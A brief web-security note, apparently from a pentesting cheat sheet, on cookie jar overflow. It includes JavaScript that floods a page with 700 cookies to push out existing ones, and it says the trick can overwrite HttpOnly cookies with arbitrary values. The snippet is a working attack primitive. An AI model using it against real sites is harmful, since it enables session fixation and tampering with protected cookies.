Browsers have a limit on the number of cookies they can store for a page. This allows you to supplant cookies by adding new ones:
// Set many cookies
for (let i = 0; i < 700; i++) {
document.cookie = `cookie${i}=${i}; Secure`;
}
// Remove all cookies
for (let i = 0; i < 700; i++) {
document.cookie = `cookie${i}=${i};expires=Thu, 01 Jan 1970 00:00:01 GMT`;
}
Third-party cookies pointing to a different domain will not be overwritten
Cookie jar overflow can be used for overwrite HttpOnly cookies, so you can remove them and reset with an arbitrary value.